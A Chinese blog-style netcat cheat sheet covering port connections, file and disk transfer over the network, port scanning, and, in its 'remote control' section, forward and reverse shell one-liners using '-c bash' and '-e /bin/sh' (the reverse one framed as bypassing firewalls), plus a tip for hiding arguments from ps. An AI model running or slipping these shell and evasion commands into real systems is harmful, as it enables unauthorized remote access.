神器netcat使用字典

2017-08-03  本文已影响0人  linx255

目录

基础使用

1.最简单的单向使用

使用:B(客户端) ”nc 主机名/IP 端口号/服务名"
前提:A主机打开了端口(任何对外服务的端口),B主机使用nc命令连接。
示例:

nc 172.16.70.140 22
SSH-2.0-OpenSSH_4.3

nc -v g.cn 80
Connection to g.cn 80 port [tcp/http] succeeded!

nc dev3-140 ssh
SSH-2.0-OpenSSH_4.3

2.简单双向使用(chat)

A服务端:nc -lp 端口号
B客户端:nc -nv Aip A端口号
实现双向文本传输

3.隐藏命令行参数(培养日常使用习惯)

如果没有提供命令行参数,NetCat会提示你从标准输入来输入命令参数,然后NetCat会在内部解析输入。用这种办法输入命令式参数,可以用来防止借助“ps”来查看你的命令行参数。示例:

此时我们在系统上用ps命令查看nc的进程,是看不到nc的参数的。如果我们直接在命令行写上参数,ps就能看到命令行参数了。

拓展使用

1.正/反向域名解析

主机参数可以是一个名字或一个IP地址。

/data/bin/nc -l 1234
...
B机器连接:
nc -v dev3-168 1234
Connection to dev3-168 1234 port [tcp/search-agent] succeeded!
...
接着在B机器输入任何字符串并按Enter键,甲机器都能收到。

上面dev3-168是我的域中一个机器名,-v参数和-n参数都对主机名解析。都是-v参数可以通过ip反向解析出主机名。示例:

2.传输⽂件/目录

A:nc -lp 333 > 1.mp4
B:nc -nv 1.1.1.1 333 < 1.mp4 –q 1

或反向:

A:nc -q 1 -lp 333 < a.mp4
B: nc -nv 1.1.1.1 333 > 2.mp4

A:tar -cvf - dir_name | nc -lp 333 –q 1
B:nc -nv 1.1.1.1 333 | tar -xvf –

或使用bzip2或者其他工具压缩

A:tar -cvf – dir_name | bzip2 -z | nc -l 1567
B:nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -

A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > file.txt
B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1

或:

A:nc localhost 333 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
B:mcrypt –flush –bare -F -q -m ecb < file.txt | nc -lp 333

3.端口扫描

nc -nvz 1.1.1.1 1-65535

nc –vnzu 1.1.1.1 1-1024

默认是TCP模式,-u参数调整为udp.
z 参数告诉netcat使用0 IO,连接成功后立即关闭连接, 不进行数据交换
v 参数指使用冗余选项(即详细输出)
n 参数告诉netcat 不要使用DNS反向查询IP地址的域名

命令会打印21到25 所有开放的端口。Banner是一个文本,Banner是一个你连接的服务发送给你的文本信息。可作为基础扫描,Banner信息可被修改,结果不一定准确。

4.远程克隆硬盘

A: nc -lp 333 | dd of=/dev/sda
B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1

dd是一个从磁盘读取原始数据的工具,我通过netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。

5.远控(弹出shell)

正向:

A:nc -lp 333 -c bash
B:nc 1.1.1.1 333

反向(绕过防火墙):

A:nc -lp 333
B:nc 1.1.1.1 333 -c bash

• 注:Windows⽤户把bash改成cmd;

6.补充说明

Nc缺乏加密和⾝份验证的能⼒
Ncat包含于nmap⼯具包中

A:ncat ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
B:ncat -nv 1.1.1.1 333 --ssl

7.个别参数详解

A(1.1.1.1):nc -l -p 333 1.1.1.2 33
B(1.1.1.2):nc 1.1.1.1 333 -p 33

A: nc
Cmd line: -l -p 333 1.1.1.2 33 -e /bin/sh
B:nc 1.1.1.1 -p 33
ls ---> 这是传递给1.1.1.1上/bin/sh的指令

上一篇 下一篇

猜你喜欢

热点阅读